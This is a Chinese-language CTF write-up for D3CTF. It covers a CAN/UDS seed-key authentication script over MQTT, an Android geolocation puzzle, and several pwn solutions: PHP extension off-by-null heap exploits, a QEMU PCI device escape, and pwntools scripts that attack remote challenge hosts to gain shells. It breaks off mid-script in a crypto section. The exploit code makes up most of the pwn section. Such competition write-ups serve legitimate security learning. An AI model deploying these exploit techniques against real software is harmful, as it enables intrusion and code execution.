with open("./rc4_keys.json","w") as f:
    json.dump(data,f)

提取下来会发现有且仅有11.405.10.4.233的dll长得不一样,密钥不在0x17800固定的偏移,并且只有它的密钥是ascii。

结合之前的F189->11.405.10.4.233 所以使用11.405.10.4.233的密钥作为鉴权密钥。

11.405.10.4.233/seed2key.dll的密钥是zxcbafsa

挨个使用密钥进行鉴权得到flag。除了721以外的都是假flag flag{flag_is_not_here}

import paho.mqtt.client as mqtt
import time
import json

can_id=721
write_cmd="can/%d/write"%can_id

def RC4(key, data):
    S = list(range(256))  # 初始化状态向量S
    j = 0
    out = bytearray()

    # 密钥调度算法(KSA)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]  # swap

    # 伪随机字节生成算法(PRGA)
    i = j = 0
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  # swap
        out.append(S[(S[i] + S[j]) % 256] ^ byte)  # XOR and output

    return out    

def on_connect(client, userdata, flags, reason_code, properties):
    print(f"Connected with result code {reason_code}")
    client.subscribe("#")

def on_message(client, userdata, msg):
    print(msg.topic+" "+str(msg.payload) + " " + str(time.time()))
    if not msg.topic.startswith("can/%d/"%can_id):
        return
    # success switch session
    if msg.payload == b'06,50,03,00,32,01,f4,ff':
        # require auth seed
        print("success switch session")
        client.publish(write_cmd, bytes.fromhex('022701ffffffffff'))
    if msg.payload.startswith(b'05,67,01,'):
        print("success require auth seed")
        messsage = bytes.fromhex(msg.payload.decode().replace(",",""))
        key = bytearray('zxcbafsa'.encode())
        data = bytearray(messsage[3:6])
        print(data.hex())
        assert len(data) == 3
        encrypted = RC4(key, data)
        assert len(encrypted) == 3
        auth_cmd = '052702'
        auth_cmd += encrypted.hex()
        auth_cmd += 'ffff'
        print(auth_cmd)
        client.publish(write_cmd, bytes.fromhex(auth_cmd))
    if msg.payload.startswith(b'02,67,02,'):
        # auth success, get flag
        print("auth success")
        client.publish(write_cmd, bytes.fromhex('04 31 01 08 86 01 01 01'))
        client.publish(write_cmd, bytes.fromhex('04 31 03 08 86 01 01 01'))


def on_subscribe(client, userdata, mid, granted_qos,a):
    print("Subscribed: "+str(mid)+" "+str(granted_qos))
    # switch session
    client.publish(write_cmd, bytes.fromhex('02 10 03 AA AA AA AA AA'))

mqttc = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2)
mqttc.on_connect = on_connect
mqttc.on_message = on_message
mqttc.on_subscribe = on_subscribe

mqttc._client_id = 'Gojo_Satoru311234'

mqttc.username_pw_set("abmaM_kcalb", "Ya5_1_n4C_tahW")

mqttc.connect("127.0.0.1", 1883, 60)

mqttc.loop_forever()

img

10,20,71,08,86,64,33,63
21,74,66,7b,31,6e,63,6f
22,6d,70,31,65,74,65,5f
23,55,44,53,5f,73,65,72
24,76,69,63,65,7d,ff,ff
uds多帧消息
d3ctf{1ncomp1ete_UDS_Service}

D3 car 3

模拟器的桌面上 没有安装地图的默认错误提示被改成了 Where am i located?

img

尝试安装地图软件发现安装不上。

img

adb pull /system/framework/oat/x86_64/services.art /system/framework/oat/x86_64/services.odex /system/framework/oat/x86_64/services.vdex ./services

vdexExtractor -i ./services --ignore-crc-error

反编译PackageManger得知强制进行checkAppStoreSignature证书校验 证书/system/etc/security/D3CA.cer

com.android.server.pm.PackageManagerService
static{
    sAppStoreCertificatePath = "/system/etc/security/D3CA.cer";
    sAppStoreSignature = loadAppStoreSignature();
}
    private int checkAppStoreSignature(Signature[] signatures) {
        if (signatures != null && sAppStoreSignature != null) {
            for (Signature s : signatures) {
                if (s != null && s.equals(sAppStoreSignature)) {
                    return 50331649;
                }
            }
            return 50331650;
        }
        return 50331650;
    }

    private void installNewPackageLIF(PackageParser.Package pkg, int policyFlags, int scanFlags, UserHandle user, String installerPackageName, String volumeUuid, PackageInstalledInfo res, int installReason) {
        Trace.traceBegin(262144L, "installNewPackage");
        String pkgName = pkg.packageName;
        if (!isSystemApp(pkg) && checkAppStoreSignature(pkg.mSignatures) != 50331649) {
            res.returnCode = -28;
            return;
        }

        ...}

在/system/etc/security 找到公钥和D3CALib

img

不知道D3CALib是啥

img

Adb shell dumpsys location可以看GPS定位信息,但是只能在其它程序进行过定位的情况下可以看到,不能主动触发GPS定位。需要有个东西主动触发GPS定位。

img

模拟器里有相机,给相机定位权限

img

adb shell monkey -p com.android.camera2 1 打开相机

屏幕上勾选相机的给照片添加位置信息选项,然后dumpsys location

img

经纬度倒一下然后去高德地图搜

img

定到了浙江省杭州市钱塘区白杨街道之江东路保利·江语海的东南门,高德地图内查看评论区即可

img

看评论区这个人就行

img

Pwn

PwnShell

Php disable_function限制死了,和php没啥关系(除了apache + php的线程和内存结构),就是一个pwn题套了php

https://www.anquanke.com/post/id/235237#h3-7

参考这篇文章,啥都不用干直接就能拿libc地址和模块地址

一个php扩展,有四个函数

zif_addHacker(string,string)
zif_removeHacker(int)
zif_editHacker(int,string)
zif_displayHacker(int)
// 泄漏地址
<?php
function hex($intval) {
    return dechex($intval);
}
var_dump(addHacker("ABCDABCD", "QWER"));
$leak = unpack("P", substr(displayHacker(0), 8, 6) . "\x00\x00")[1];
var_dump(hex($leak));
?>
unsigned __int64 __fastcall zif_addHacker(input_val *a1, ret_val *a2)
{
  __int64 idx; // rbp
  __int64 num_vals; // rdi
  __int64 v5; // rdx
  unsigned __int64 *p_is_free; // rax
  list_item *item; // r12
  hacker *hacker; // rbx
  char *arg1_buf; // rax
  size_t arg1_len; // rdx
  char *v11; // rsi
  zend_val_str *arg2_; // r13
  unsigned __int64 data2_len; // rax
  zend_val_str *arg2; // [rsp+8h] [rbp-40h] BYREF
  zend_val_str *arg1; // [rsp+10h] [rbp-38h] BYREF
  unsigned __int64 v16; // [rsp+18h] [rbp-30h]

  num_vals = a1->num_vals;
  v16 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(num_vals, "zz", &arg1, &arg2) != -1 )
  {
    if ( arg1->type == 6 && arg2->type == 6 )
    {
      v5 = 0LL;
      p_is_free = &chunkList[0].is_free;
      while ( *(_BYTE *)p_is_free != 1 )
      {
        ++v5;
        p_is_free += 2;
        if ( v5 == 16 )
          goto LABEL_9;
      }
      idx = v5;
LABEL_9:
      item = &chunkList[idx];
      hacker = (hacker *)_emalloc(arg2->str->len + 0x10);
      arg1_buf = (char *)_emalloc(arg1->str->len);
      hacker->str1 = arg1_buf;
      arg1_len = arg1->str->len;
      v11 = arg1->str->val;
      hacker->len_str1 = arg1_len;
      memcpy(arg1_buf, v11, arg1_len);
      arg2_ = arg2;
      memcpy(hacker->str2, arg2->str->val, arg2->str->len);
      data2_len = arg2_->str->len;
      item->hacker = hacker;
      LODWORD(item->is_free) = 0xD;
      hacker->str2[data2_len] = 0;
    }
    else
    {
      a2->status = 1;
    }
  }
  return v16 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall zif_removeHacker(input_val *a1, ret_val *a2, __int64 a3, __int64 a4)
{
  __int64 num_vals; // rdi
  list_item *v6; // rax
  hacker *hacker; // rbp
  zend_val_num *v8; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v9; // [rsp+8h] [rbp-20h]

  num_vals = a1->num_vals;
  v9 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(num_vals, (char *)"z", &v8, a4) != -1 )
  {
    if ( v8->type != 4 || (v6 = &chunkList[v8->num], LOBYTE(v6->is_free) == 1) || v8->num > 0xF )
    {
      a2->status = 1;
    }
    else
    {
      hacker = v6->hacker;
      _efree(v6->hacker->str1);
      _efree(hacker);
      LODWORD(chunkList[v8->num].is_free) = 1;
    }
  }
  return v9 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall zif_addHacker(input_val *a1, ret_val *a2)
{
  __int64 idx; // rbp
  __int64 num_vals; // rdi
  __int64 v5; // rdx
  unsigned __int64 *p_is_free; // rax
  list_item *item; // r12
  hacker *hacker; // rbx
  char *arg1_buf; // rax
  size_t arg1_len; // rdx
  char *v11; // rsi
  zend_val_str *arg2_; // r13
  unsigned __int64 data2_len; // rax
  zend_val_str *arg2; // [rsp+8h] [rbp-40h] BYREF
  zend_val_str *arg1; // [rsp+10h] [rbp-38h] BYREF
  unsigned __int64 v16; // [rsp+18h] [rbp-30h]

  num_vals = a1->num_vals;
  v16 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(num_vals, "zz", &arg1, &arg2) != -1 )
  {
    if ( arg1->type == 6 && arg2->type == 6 )
    {
      v5 = 0LL;
      p_is_free = &chunkList[0].is_free;
      while ( *(_BYTE *)p_is_free != 1 )
      {
        ++v5;
        p_is_free += 2;
        if ( v5 == 16 )
          goto LABEL_9;
      }
      idx = v5;
LABEL_9:
      item = &chunkList[idx];
      hacker = (hacker *)_emalloc(arg2->str->len + 0x10);
      arg1_buf = (char *)_emalloc(arg1->str->len);
      hacker->str1 = arg1_buf;
      arg1_len = arg1->str->len;
      v11 = arg1->str->val;
      hacker->len_str1 = arg1_len;
      memcpy(arg1_buf, v11, arg1_len);
      arg2_ = arg2;
      memcpy(hacker->str2, arg2->str->val, arg2->str->len);
      data2_len = arg2_->str->len;
      item->hacker = hacker;
      LODWORD(item->is_free) = 0xD;
      hacker->str2[data2_len] = 0;
    }
    else
    {
      a2->status = 1;
    }
  }
  return v16 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall zif_removeHacker(input_val *a1, ret_val *a2, __int64 a3, __int64 a4)
{
  __int64 num_vals; // rdi
  list_item *v6; // rax
  hacker *hacker; // rbp
  zend_val_num *v8; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v9; // [rsp+8h] [rbp-20h]

  num_vals = a1->num_vals;
  v9 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(num_vals, (char *)"z", &v8, a4) != -1 )
  {
    if ( v8->type != 4 || (v6 = &chunkList[v8->num], LOBYTE(v6->is_free) == 1) || v8->num > 0xF )
    {
      a2->status = 1;
    }
    else
    {
      hacker = v6->hacker;
      _efree(v6->hacker->str1);
      _efree(hacker);
      LODWORD(chunkList[v8->num].is_free) = 1;
    }
  }
  return v9 - __readfsqword(0x28u);
}unsigned __int64 __fastcall zif_displayHacker(input_val *a1, ret_val *a2, __int64 a3, __int64 a4)
{
  __int64 num_vals; // rdi
  list_item *v6; // rax
  const char *str1; // r13
  size_t str1_len; // r12
  zend_str *str_builder; // rbp
  __int64 v10; // [rsp+0h] [rbp-38h] BYREF
  unsigned __int64 v11; // [rsp+8h] [rbp-30h]

  num_vals = a1->num_vals;
  v11 = __readfsqword(0x28u);
  if ( (unsigned int)zend_parse_parameters(num_vals, (char *)"z", &v10, a4) != -1 )
  {
    if ( *(_BYTE *)(v10 + 8) != 4
      || (v6 = &chunkList[*(_QWORD *)v10], LOBYTE(v6->is_free) == 1)
      || *(_QWORD *)v10 > 0xFuLL )
    {
      a2->status = 1;
    }
    else
    {
      str1 = v6->hacker->str1;
      str1_len = strlen(str1);
      str_builder = (zend_str *)_emalloc((str1_len + 32) & 0xFFFFFFFFFFFFFFF8LL);
      str_builder->gc = (zend_refcounted)0x1600000001LL;
      str_builder->h = 0LL;
      str_builder->len = str1_len;
      memcpy(str_builder->val, str1, str1_len);
      str_builder->val[str1_len] = 0;
      a2->ret_data = str_builder;
      a2->status = 262;
    }
  }
  return v11 - __readfsqword(0x28u);
}

addHacker最后有个off by null

一些利用参考

https://m4p1e.com/2024/03/01/CVE-2023-3824/

https://deepunk.icu/php-pwn/

暂时无法在飞书文档外展示此内容

基本想法就是堆喷+off by null造UAF

之前想麻烦了,用他自己带的structure去搞aaw+aar就行

<?php
function hex($intval) {
    return dechex($intval);
}

// addHacker("ABCDABCD", "QWERQWERQWERQWERQWERQWERQWERQWER");  // allocate 0x30
// $leak = unpack("P", substr(displayHacker(0), 8, 6) . "\x00\x00")[1];
// var_dump(hex($leak));

addHacker("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "QWERQWERQWERQWERQWERQWERQWERQWA");
addHacker("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", "QWERQWERQWERQWERQWERQWERQWERQWB");
addHacker("CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", "QWERQWERQWERQWERQWERQWERQWERQWC");
addHacker("DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD", "QWERQWERQWERQWERQWERQWERQWERQWD");
addHacker("EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE", "QWERQWERQWERQWERQWERQWERQWERQWE");
addHacker("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", "QWERQWERQWERQWERQWERQWERQWERQWF");

addHacker("GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG", "QWERQWERQWERQWERQWERQWERQWERQWG");
addHacker("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", "QWERQWERQWERQWERQWERQWERQWERQWH");

removeHacker(6);
addHacker("HELLO", "QWERQWERQWERQWERQWERQWERQWERQWGA");

var_dump(displayHacker(7));

?>

大致思路:

typedef struct {
    char* str1;
    unsigned long len_str1;
    char str2[0];
} hacker;
  1. 先喷多个hacker,确保其中有一个str1的地址结尾是xx00,不要触发溢出
  2. 创建两个连续的hacker
  3. 释放倒数第二个hacker
  4. 创建一个hacker,用off-by-null改写倒数第一个hacker的str1
  5. 此时倒数第一个hacker的str1指向xx00,并且前面也有一个hacker的str1指向xx00
  6. 用displayHacker(倒数第二个)来看一下指向的是哪个
  7. 释放掉前面的相对应的hacker
  8. 再创建一个hacker,让此hacker本身的长度为刚才的str1的长度

这样就有一个hacker的str1指向步骤8中的hacker,利用edit和display就可以aaw+aar

不同启动方式的堆布局会很不一样,可能需要进docker调试

直接使用php 1.php执行会执行命令,但通过浏览器访问1.php不能执行命令
<?php
function substr($str,$start,$len){
    $data="";
    for ($i=0;$i<$len;$i++){
        $data.=$str[$start+$i];
    }
    return $data;
}
function p64($num){
    $data="";
    $cache=hex2bin(dechex($num));
    $cache=strrev($cache)."\0\0\0\0\0\0\0";
    for ($i=0;$i<8;$i++){
        $data.=$cache[$i];
    }
    return $data;
}
$pad="qwerqwerqwerqwer";
addHacker("rotwilll","asdfasdf");
addHacker($pad,"rotwill");
editHacker(1,$pad."qwerqwer");

$d=displayHacker(1);
$chunk=0;
$chunk_="";
$off=24;
for($i=0x7+$off;$i>=$off;$i--){
    $chunk=$chunk<<8;
    $chunk_=$d[$i].$chunk_;
    $chunk+=ord($d[$i]);
}
$php_addr=$chunk-0x11538e0;
$gadget=$php_addr+2108256;
$r=$php_addr+0x1A03B;

editHacker(1,"/r* >1;r".p64($gadget).p64($r));
// 获取libc地址
<?php
function substr($str,$start,$len){
    $data="";
    for ($i=0;$i<$len;$i++){
        $data.=$str[$start+$i];
    }
    return $data;
}
function p64($num,$len=8){
    $data="";
    $cache=hex2bin(dechex($num));
    $cache=strrev($cache)."\0\0\0\0\0\0\0";
    for ($i=0;$i<$len;$i++){
        $data.=$cache[$i];
    }
    return $data;
}

function read($d,$off=0){
    $d.="\0\0\0\0\0\0\0\0\0";
    $chunk=0;
    for($i=0x7+$off;$i>=$off;$i--){
        $chunk=$chunk<<8;
        $chunk+=ord($d[$i]);
    }
    return $chunk;
}
function outdata($data,$addr=0){
    if ($addr==0){
        print("data: ".bin2hex($data)."\n");
    }
    else{
        print("$addr : ".bin2hex($data)."\n");
    }
}

$pad="qwerqwerqwerqwer";
addHacker("asdfasdf".$pad,"rotwill"); // 0-0->0-1
addHacker("asdfasdf".$pad,"rotwill"); // 1
addHacker("asdfasdf".$pad,"rotwill"); // 2
addHacker("asdfasdf".$pad,"rotwill"); // 3 
addHacker("asdfasdf".$pad,"rotwill"); // 4

$d=displayHacker(3);
$chunk4=read($d,24);
$chunk3=$chunk4-0x30;
$chunk2=$chunk3-0x30;
$chunk1=$chunk2-0x30;
$chunk0=$chunk1-0x30;


$chunk_=$chunk4&0xfffffffffff00000;

//  $chunk_-=0x1000*84;
//  $chunk_+=;
$chunk_+=0x1000;
$chunk_2=$chunk4&0xfffffffffffff00;
$chunk_2=$chunk_2-0x10;
print(dechex($chunk3)."\n");
print(dechex($chunk4)."\n");
print(dechex($chunk_2)."\n");
print(dechex($chunk_)."\n");
if ($chunk4&0xff00==$chunk3&0xff00){
    die("123123");
}

removeHacker(3);
addHacker("asdfasdfasdfasdf".$pad,"rotwill");
addHacker("asdfasdfasdfasdf".$pad,"rotwilll");
$d=displayHacker(4);
print(bin2hex($d)."\n");
editHacker(4,"rotwilll".p64($chunk_2).p64(0xffff));
editHacker(4,p64($chunk_));

addHacker("asdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasd","asdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasd");

editHacker(4,p64($chunk_+(123+1)*8));
$d=displayHacker(5);
outdata($d);
$c_=read($d);
if ($c_&0xf00000000000!=0x500000000000)
    die("123123");
$c_+=-8-0x50-0x50-0x10-0x30-0x100+8;
print(dechex($c_)."\n");
editHacker(4,p64($c_));
$d=displayHacker(5);
outdata($d,1);
$c_=read($d);
print(dechex($c_)."\n");

editHacker(4,p64($c_-0x28-8-0x220+8+8+8));
$d=displayHacker(5);
outdata($d,2);
$c_=read($d);
print(dechex($c_)."\n");

editHacker(4,p64($c_+8+8));
$d=displayHacker(5);
outdata($d,3);
$c_=read($d);
print(dechex($c_)."\n");

editHacker(4,p64($c_+8+8));
$d=displayHacker(5);
outdata($d,4);
$c_=read($d);
print(dechex($c_)."\n");

editHacker(4,p64($c_+8+8));
$d=displayHacker(5);
outdata($d,5);
$c_=read($d);
print(dechex($c_)."\n");
$libc-=0x1d2ed0;

Exp

//利用off by null修改数据指针
//实现任意地址读写
<?php
function substr($str,$start,$len){
    $data="";
    for ($i=0;$i<$len;$i++){
        $data.=$str[$start+$i];
    }
    return $data;
}
function p64($num,$len=8){
    $data="";
    $cache=hex2bin(dechex($num));
    $cache=strrev($cache)."\0\0\0\0\0\0\0";
    for ($i=0;$i<$len;$i++){
        $data.=$cache[$i];
    }
    return $data;
}

function read($d,$off=0){
    $d.="\0\0\0\0\0\0\0\0\0";
    $chunk=0;
    for($i=0x7+$off;$i>=$off;$i--){
        $chunk=$chunk<<8;
        $chunk+=ord($d[$i]);
    }
    return $chunk;
}
function outdata($data,$addr=0){
    if ($addr==0){
        print("data: ".bin2hex($data)."\n");
    }
    else{
        print("$addr : ".bin2hex($data)."\n");
    }
}

function leakaddr($buffer){
    global $libc,$mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$mod_base=hexdec($mbase[1][0]);
print($mod_base." \n");
print($libc_base." \n");
$pad="qwerqwerqwerqwer";
addHacker("asdfasdf".$pad,"rotwill"); // 0-0->0-1
addHacker("asdfasdf".$pad,"rotwill"); // 1
addHacker("asdfasdf".$pad,"rotwill"); // 2
addHacker("asdfasdf".$pad,"rotwill"); // 3 
addHacker("asdfasdf".$pad,"rotwill"); // 4

$d=displayHacker(3);
$chunk4=read($d,24);
$chunk3=$chunk4-0x30;
$chunk2=$chunk3-0x30;
$chunk1=$chunk2-0x30;
$chunk0=$chunk1-0x30;


$chunk_=$chunk4&0xfffffffffff00000;

$chunk_+=0x1000;
$chunk_2=$chunk4&0xfffffffffffff00;
$chunk_2=$chunk_2-0x10;
print(dechex($chunk3)."\n");
print(dechex($chunk4)."\n");
print(dechex($chunk_2)."\n");
print(dechex($chunk_)."\n");
if ($chunk4&0xff00==$chunk3&0xff00){
    die("123123");
}
removeHacker(3);
addHacker("/readflag > /var/www/html/1.txt;","rotwill"); #3
addHacker("asdfasdfasdfasdf".$pad,"rotwilll"); #5
$d=displayHacker(4);
print(bin2hex($d)."\n");
editHacker(4,"rotwilll".p64($chunk_2).p64(0xffff));
editHacker(4,p64($chunk_));

addHacker("/readflag > /var/www/html/1.txt;fasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasd","asdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasdasdfasdfasdfasdfasd");
 #6

$system=$libc_base+312464;//0x4c022;

$strlen=$mod_base+16440;

editHacker(4,p64($strlen));

editHacker(5,p64($system));
removeHacker(6);

Write flag where

可以用flag里的字符在code段任意写,

覆盖了stack chk fail 的lea指令, 根据输出的不同来判断flag值是什么

from pwn import *
# context.terminal = ["zellij", "action", "new-pane", "-d", "down", "-c", "--", "zsh", "-c"]
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./vuln')
exe = context.binary = ELF(exe_path)
libc = ELF('libc.so.6')

host = '47.103.122.127'
port = 30217

# host = "127.0.0.1"
# port = 9999

# if sys.argv[1] == 'r':
#     p = remote(host, port)
# elif sys.argv[1] == 'p':
#     p = process(exe_path)  
# else:
#     p = gdb.debug(exe_path, 'b *$rebase(0x170c)')

def one_gadget(filename, base_addr=0):
  return [(int(i, p)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def gdb_pause(p):
    gdb.attach(p)  
    pause()

def pwn(idx, p):
    libc.address = int(b"0x"+(p.recv(12)), 16)-0x26000

    # print(hex(libc.address+0x5c57d))


    p.sendlineafter(b"}}", str(libc.address+0x138f39)+" "+str(idx))
    # p.sendlineafter(b"}}", str(libc.address+0x137c92)+" "+str(5))

    p.sendline(str(libc.address+0x5c57d)+" "+str(8))

    p.sendline(str(libc.address+0x5c57d)+" "+str(8))
    return p.recvall()[5:]

# f = open("./turn", "w")

flag = "d3ctf{"

for i in range(0, 60):
    p = remote(host, port)

    try:
        res = pwn(i, p)[0:3]
        if res == b"ktr":
            flag += "a"
        elif res == b"tra":
            flag += "b"
        elif res == b"rac":
            flag += "c"
        elif res == b"ace":
            flag += "d"
        elif res == b"ces":
            flag += "e"
        elif res == b"esy":
            flag += "f"
        elif res == b"ed ":
            flag += "1"
        elif res == b"d s":
            flag += "2"
        elif res == b" st":
            flag += "3"
        elif res == b"sta":
            flag += "4"
        elif res == b"tac":
            flag += "5"
        elif res == b"ack":
            flag += "6"
        elif res == b"ck ":
            flag += "7"
        elif res == b"k f":
            flag += "8"
        elif res == b" fr":
            flag += "9"
        elif res == b"zed":
            flag += "0"
            continue
        # f.write(str(i))
        # f.write(res.decode())
        # f.write("\n")
    except EOFError:
        continue
# f.close()
flag+= "}"
print(flag)
print(len(flag))

D3BabyEscape

#!/bin/sh
./qemu-system-x86_64 \
-L ../pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-device l0dev

img

结构体数据

暂时无法在飞书文档外展示此内容

可以任意地址执行,然后可控rdi参数的内容的前四字节

#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>

void* mmio;
uint32_t port_base = 0xc000;

void pmio_write(uint32_t port, uint32_t val) {
        outl(val, port_base + port);
}

uint32_t pmio_read(uint32_t port) {
        return (uint32_t)inl(port_base + port);
}

void mmio_write(uint64_t addr, uint64_t value) {
        *(uint64_t*)(mmio + addr) = value;
}

uint64_t mmio_read(uint64_t addr) {
        return *(uint64_t*)(mmio + addr);
}

int main() {
        if (iopl(3) != 0) {
                printf("I/O permission is not enough\n");
                return 1;
        }
        int mmio_fd =
        open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

        uint64_t u64cmd;
        const char* cmd = "sh";
        strcpy(&u64cmd, cmd); 

        mmio_write(0, 666);
        uint32_t num = pmio_read(0);

        mmio_write(0x80, 0x100);
        uint64_t libc_base = mmio_read(0x14) - 0x1e780;
        printf("libc_base:\t0x%llx\n", libc_base);
        if (libc_base == 0 || (libc_base & 0xFFF) != 0) {
                return 1;
        }
        uint64_t system_addr = libc_base + 0x28d70;
        pmio_write(0x14, system_addr & 0xFFFFFFFF);
        pmio_write(0x18, system_addr >> 32);

        mmio_write(0x40, u64cmd);
        return 0;
}

cmd 改成sh即可

d3note

输入6425 (delete)再读入一个整数,然后清空这个偏移的note

输入2064 (edit)再读入一个整数,然后向这个偏移位置读入之前设置的长度的内容

输入276 (add) 再读入第一个整数是偏移,第二个整数是长度,然后malloc然后读入内容

输入1300 (show) puts输出这个偏移位置的note

其它输入 puts("Invalid choice");

GNU C Library (Debian GLIBC 2.37-15) stable release version 2.37.

No PIE Partial RELRO

add/edit/delete没有检测偏移是否合法

show可以puts任意对齐16字节的指针指向的地址的内容

Exp

img

RELA table 有got表的地址,用这个就可以leak

img

.dynamic 段有DT_GNU_HASH的地址,所以可以在DT_GNU_HASH地址处任意写

在DT_GNU_HASH伪造note结构,就可以直接任意地址写了

然后改了free的got表

from pwn import *
context.terminal = ["zellij", "action", "new-pane", "-d", "down", "-c", "--", "zsh", "-c"]
context.update(arch='amd64', os='linux')
context.log_level = 'info'
exe_path = ('./pwn')
exe = context.binary = ELF(exe_path)
libc = ELF('./libc.so.6')

host = '106.14.121.29'
port = 30010
if sys.argv[1] == 'r':
    p = remote(host, port)
elif sys.argv[1] == 'p':
    p = process(exe_path)  
else:
    p = gdb.debug(exe_path, 'decompiler connect ida --host localhost --port 3662')

def one_gadget(filename, base_addr=0):
  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def gdb_pause(p):
    gdb.attach(p)  
    pause()

def add(idx, size, content):
    p.sendline("276")
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)

def delete(idx):
    p.sendline("6425")
    p.sendline(str(idx))

def edit(idx, content):
    p.sendline("2064")
    p.sendline(str(idx))
    p.send(content)

def show(idx):
    p.sendline("1300")
    p.sendline(str(idx))

def pwn():
    add(0, 0x20, "/bin/sh\x00\n")
    show(-924)
    libc.address = u64(p.recvuntil(b"\x7f")[-6:]+b"\x00"*2) - libc.symbols["malloc"]
    log.info("libc_base:"+hex(libc.address))
    # gdb_pause(p)
    # edit(-924-6, p64(libc.symbols["system"]))

    edit(-1431-9, p64(0x8)+p64(0x404000) +b"\n")

    edit(-1481, p64(libc.symbols["system"])+b"\n")

    delete(0)

    p.interactive()

pwn()

Crypto

d3matrix2

深搜,由于D矩阵很小,E矩阵的包裹不影响trace,因此利用元素相消后trace一定会减小的性质探索序列。

from copy import deepcopy
p = 2**1105 - 1335
k = 99
n = 24
alpha = 2

pk = load(r'C:\Users\chax\Desktop\d3\d3matrix2\pk.sobj')
c = load(r'C:\Users\chax\Desktop\d3\d3matrix2\c.sobj')
now = (c.trace())

def search(l,now,nowc,road):
    print(len(l),road)
    if len(l) <= 1:
        print(l)
        return 0 

    for i in l:
